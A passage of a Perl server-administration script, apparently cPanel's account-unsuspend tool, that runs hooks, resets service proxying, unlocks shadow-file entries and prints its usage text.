[ $user, $domain ] ); Cpanel::PwCache::Clear::clear_global_cache(); do_hook( $user, 'post' ); system '/usr/local/cpanel/scripts/postunsuspendacct', @argv if -x '/usr/local/cpanel/scripts/postunsuspendacct'; # The new default is to remove all backend service proxying unless otherwise specified if ($retain_service_proxies) { _print("Keep service proxying settings for this account...Done\n"); } else { { _print("The system will disable service proxying for this account..."); require Cpanel::AccountProxy::Transaction; local $SIG{'__WARN__'} = sub { _print( "\n" . shift . "\n" ) }; Cpanel::AccountProxy::Transaction::unset_all_backends_and_update_services($user); _print("Done\n"); } } _print("$user\'s account has been unsuspended\n"); return 0; } sub do_hook { my ( $user, $stage ) = @_; my ( $result, $hooks_msgs ) = Cpanel::Hooks::hook( { 'category' => 'Whostmgr', 'event' => 'Accounts::unsuspendacct', 'stage' => $stage, 'escalateprivs' => 1, }, { 'args' => { 'user' => $user, }, 'result' => 1, 'user' => 'root', }, ); if ( ref $hooks_msgs eq 'ARRAY' && @$hooks_msgs != 0 ) { foreach my $error ( @{$hooks_msgs} ) { print $error; } return 0; } return 1; } sub unsuspendshadowfile { my ( $user, $file ) = @_; my $access_ids = Cpanel::AccessIds::ReducedPrivileges->new($user); return _unsuspendshadowfile($file); } sub _unsuspendshadowfile { my ($file) = @_; return if !-e $file; my $shadowlock = Cpanel::SafeFile::safeopen( \*SHF, '+<', $file ); if ( !$shadowlock ) { $logger->die("Could not update $file: $!"); } my @CT = <SHF>; seek( SHF, 0, 0 ); foreach (@CT) { my @DC = split( /:/, $_ ); chomp( $DC[$#DC] ); foreach my $field ( 1, 8 ) { while ( $DC[$field] =~ m/^\*LOCKED\*/ ) { $DC[$field] =~ s/^\*LOCKED\*//; } } print SHF join( ':', @DC ) . "\n"; } truncate( SHF, tell(SHF) ); return Cpanel::SafeFile::safeclose( \*SHF, $shadowlock ); } sub _generate_account_suspension_include { require "/usr/local/cpanel/scripts/generate_account_suspension_include"; ## no critic qw(Modules::RequireBarewordIncludes) -- refactoring this is too large generate_account_suspension_include::update_include_and_restart_httpd(); return 1; } sub usage { my ( $retval, $msg ) = @_; my $fh = $retval ? \*STDERR : \*STDOUT; my $p = $0; $p =~ s{^.+/(.+)$}{$1}; if ( !defined $msg ) { $msg = <<EOF; Usage: $p user [--retain-service-proxies] [--usage | --help] Unsuspend a user's account where user -- is a valid user name (required) If --retain-service-proxies is specified, then any service proxy backends that were put in place as a result of a transfer-related suspension will be retained. The --child-ok argument defeats the usual protection against unsuspending distributed accounts on child nodes. Ordinarily you should suspend and unsuspend distributed accounts on their parent nodes. Use of this flag is UNSUPPORTED. Now supports driving instructions via --help, --usage EOF } print {$fh} $msg; return $retval; } # For debugging in a test so that I can replace it with `note`. sub _print { print @_; } 1;
Save